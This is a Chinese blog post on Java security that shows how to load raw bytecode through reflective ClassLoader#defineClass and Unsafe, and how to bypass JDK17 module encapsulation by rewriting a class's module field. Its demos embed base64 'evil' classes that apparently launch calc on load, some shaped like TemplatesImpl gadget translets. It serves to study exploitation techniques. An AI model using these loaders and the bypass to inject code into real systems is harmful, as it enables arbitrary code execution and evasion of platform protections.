[java学习]反射类加载字节码

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原创最新推荐文章于 2026-02-16 13:44:06 发布 1.3k 阅读 AI 写同款· GEO 优化 ›

利用ClassLoader#defineClass动态加载字节码 利用ClassLoader#defineClass直接加载字节码，底层调用原理。阅读详情

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defineClass

defineClass的作用是处理传入的字节码（byte[]），将其处理成真正的Java类（Class）。 Java默认的ClassLoader#defineClass 是一个native方法，逻辑在JVM的C语言代码中，因为系统的ClassLoader#defineClass 是一个保护属性，所以我们无法直接在外部访问，需要使用反射的形式来调用。以下是常用几种获取 ClassLoader 的方式：

ClassLoader loader = Thread.currentThread().getContextClassLoader();
ClassLoader loader = ClassLoader.getSystemClassLoader();
ClassLoader loader = this.getClass().getClassLoader();

利用defineClass加载类字节码的demo：

import java.lang.reflect.Method;
import java.util.Base64;

public class demo1 {
    public static void main(String[] args) throws Exception {
        String evilClassBase64 = "yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==";
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class cc = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "test", bytes, new Integer(0), new Integer(bytes.length));
        cc.newInstance();

    }
}

base64的类字节码内容如下：

高版本的限制

jdk9版本开始引入Java平台模块系统JPMS，详细介绍可以看Oracle官方对于jdk9的新特性说明：Java Platform, Standard Edition What’s New in Oracle JDK 9, Release 9

在jdk9及以后版本运行会有这种非法反射访问的警告，但不会影响字节码的加载。

原因是jdk9以上模块不能使用反射去访问非公有的成员/成员方法以及构造方法，除非模块标识为opens去允许反射访问。 jdk17版本及之后使用了强封装直接会ban掉非法反射，运行直接报错。

可以看报错提示：java.base模块中的java.lang包没有对未命名模块开放反射。

但是，官方预留了sun.misc和sun.reflect两个包可以进行反射调用。

Unsafe类

Java 魔法类 Unsafe 详解 | JavaGuide

Unsafe是位于sun.misc包下的一个类，主要提供一些用于执行低级别、不安全操作的方法，如直接访问系统内存资源、自主管理内存资源等。但由于Unsafe类使Java语言拥有了类似C语言指针一样操作内存空间的能力，不正确使用Unsaf 类会使得程序出错的概率变大，使得 Java 这种安全的语言变得不再“安全”。

Unsafe类中有2个方法可以用来加载字节码.。

defineClass方法，允许程序在运行时动态地创建一个类：

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.util.Base64;

public class demo2 {
    public static void main(String[] args) throws Exception {
        String evilClassBase64 = "yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgAsBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0ZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEAEQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgAAAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA==";
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
        Field field = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Class cc = unsafe.defineClass("test", bytes, 0, bytes.length, ClassLoader.getSystemClassLoader(), null);
        cc.newInstance();
    }
}

defineAnonymousClass方法，可以用来动态的创建一个匿名类：

import sun.misc.Unsafe;

import java.lang.reflect.Field;
import java.util.Base64;

public class demo3 {
    public static void main(String[] args) throws Exception {
        String evilClassBase64 = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMamF2YS9sYW5nL3Rlc3Q7AQAIPGNsaW5pdD4BAAR2YXIxAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAHQEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAIgwAIwAkAQAEY2FsYwwAJQAmAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACcBAA5qYXZhL2xhbmcvdGVzdAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACAAJAAAAAAACAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAABgAOAAAADAABAAAABQAPABAAAAAIABEACwABAAwAAABmAAMAAQAAABe4AAISA7YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAACgAJAA0ADAALAA0ADAAWAA4ADgAAAAwAAQANAAkAEgATAAAAFAAAAAcAAkwHABUJAAEAFgAAAAIAFw==";
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
        Field field = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        field.setAccessible(true);
        Unsafe unsafe = (Unsafe) field.get(null);
        Class cc = unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"),bytes,null);
        cc.newInstance();
    }
}

绕过方式

在8 < jdk <11的jdk版本中，可以反射获取Unsafe对象，利用Unsafe的defineClass方法来加载字节码。

在8 < jdk < 17的jdk版本中，可以反射获取Unsafe对象，利用Unsafe的defineAnonymousClass方法来加载字节码，这样运行时不会有非法反射访问的警告。

但是，经测试，加载的类需要在java.lang下：

jdk17，直接移除了Unsafe的defineAnonymousClass方法。

jdk17调用ClassLoader#defineClass方法时的报错在checkCanSetAccessible方法中。

定位调试，可以看到通过Reflection.getCallerClass()获取调用者的类的信息和各种方法，随后将获取到的caller与ClassLoader类一同传入到了checkCanSetAccessible方法中。

在checkCanSetAccessible方法中，会先判断获取到的类信息是否是MethodHandle，如果是会抛出异常，接着通过getModule()获取caller和ClassLoader的module，如果它们两个的module是一致的，就会返回true。

可以通过Unsafe类中的方法来更改当前类的module和ClassLoader类的module一致，来完成绕过。

import sun.misc.Unsafe;

import java.lang.reflect.*;
import java.util.Base64;

public class demo4 {
    public static void main(String[] args) throws Exception {
        Field unSafeField=Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
        unSafeField.setAccessible(true);
        Unsafe unSafeClass= (Unsafe) unSafeField.get(null);
        Module baseModule=Object.class.getModule();//获取java.lang.Object的module
        Class<?> currentClass= demo4.class;//获取当前类
        long addr=unSafeClass.objectFieldOffset(Class.class.getDeclaredField("module"));//获取module字段相对Java对象的"起始地址"的偏移量
        unSafeClass.getAndSetObject(currentClass,addr,baseModule); //更改当前运行类的module为java.lang.Object的module (即java.base)
//        unSafeClass.putObject(currentClass,addr,baseModule);//更改当前运行类的module为java.lang.Object的module (即java.base)
        String evilClassBase64 = "yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAg8Y2xpbml0PgEABHZhcjEBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAdAQAKU291cmNlRmlsZQEACXRlc3QuamF2YQwACgALBwAiDAAjACQBAARjYWxjDAAlACYBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAAoAJwEABHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAgABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAAMADgAAAAwAAQAAAAUADwAQAAAACAARAAsAAQAMAAAAZgADAAEAAAAXuAACEgO2AARXpwANS7sABlkqtwAHv7EAAQAAAAkADAAFAAMADQAAABYABQAAAAcACQAKAAwACAANAAkAFgALAA4AAAAMAAEADQAJABIAEwAAABQAAAAHAAJMBwAVCQABABYAAAACABc=";
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        method.setAccessible(true);
        Class cc = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "test", bytes, Integer.valueOf(0), Integer.valueOf(bytes.length));
        cc.newInstance();
    }
}